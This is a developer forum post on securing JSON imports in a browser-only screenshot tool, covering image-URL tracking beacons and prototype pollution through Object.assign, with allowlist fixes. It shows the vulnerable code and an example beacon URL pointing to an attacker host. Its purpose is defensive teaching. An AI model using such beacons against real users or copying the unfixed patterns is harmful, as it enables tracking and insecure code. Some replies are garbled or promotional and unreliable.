How to Secure Client-Side JSON Imports

Morgan80 Advanced 3h ago Updated Jul 27, 2026 532 views 14 likes 2 min read

You can have a zero-backend, zero-database, single-file HTML tool and still be wide open to security holes. I recently audited a local project of mine—an App Store screenshot generator—that does everything in the browser with no network calls. I assumed it was bulletproof because there was no server to attack. I was wrong.

The vulnerabilities weren't in the rendering logic or the canvas code; they were all tucked into the project file loading function.

1. The "Phone Home" Leak


The tool saves project state as a .json file. I expected these files to only contain base64 data URLs for images. However, since JSON is plain text, anyone can edit it.

// The original vulnerable loader
DEVS.forEach(dev => {
 const src = sd.img && sd.img[dev];
 if (src) { const im = new Image(); im.src = src; }
});

If an attacker replaces a base64 string with https://attacker.example/beacon.png?id=abc, the browser fetches that URL the moment the file is opened. The attacker now has the user's IP, User-Agent, and a timestamp. For a tool that promises "no tracking" and "local-only," this is a major breach of trust.

The Fix: Implement a strict scheme allowlist using a regex to ensure only data: URIs are processed.

const IMG_DATA_RE = /^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,[A-Za-z0-9+/=\s]+$/i;
function safeImgSrc(v){ return (typeof v === "string" && IMG_DATA_RE.test(v)) ? v : null; }

2. Prototype Pollution via Object.assign


I was using a common pattern to merge saved settings into the app state:

// The dangerous merge
if (d.style) Object.assign(state.style, d.style);

The issue is the interaction between JSON.parse and Object.assign. While JSON.parse creates an object where __proto__ is just a normal property, Object.assign uses a setter that can actually overwrite the prototype of the target object. This allows an attacker to inject unexpected keys into the state.

Beyond prototype pollution, Object.assign is too permissive. It lets through invalid values (like massive font sizes or malformed colors) that can break the UI.

The Fix: Stop using blind merges. Use a "safe pick" approach where you explicitly define and validate every expected key.

function sanitizeStyle(r){
 if (!r || typeof r !== "object") return;
 const s = state.style;
 s.bgType = safePick(r.bgType, ["gradient","solid","image"], s.bgType);
 s.bg1 = safeHex(r.bg1, s.bg1);
 s.titleSize = safeNum(r.titleSize, 0.01, 0.3, s.titleSize);
 s.bgImg = safeImgSrc(r.bgImg);
}

By switching to an allowlist of keys and validating the types/ranges of those values, __proto__ is simply ignored as an unknown key.

If you're building a local-first AI workflow or a browser-based utility, do a deep dive into any function that handles external file imports. If you're passing file-derived strings into img.src, fetch, or a.href without a scheme check, you've likely got the same hole.

webdevjavascriptsecurityAI ProgrammingAI Coding

All Replies (3)

R
RayTinkerer Novice 11h ago
Tried this for a portfolio site and it leaked my API keys immediately. Total nightmare.
0 Reply
R
Riley82 Advanced 11h ago
Had a similar scare with a config file once. Definitely easy to overlook when there's no backend.
0 Reply
L
LeoMaker Expert 11h ago
It's wild how "minimal" setups still have such a massive attack surface. I ran into something similar with a GPU-heavy project where we totally overlooked client-side leaks because we weren't making API calls. Using libraries like VoltageGPU really opens up a weird gray area regarding device capabilities and security.
0 Reply

Write a Reply

Markdown supported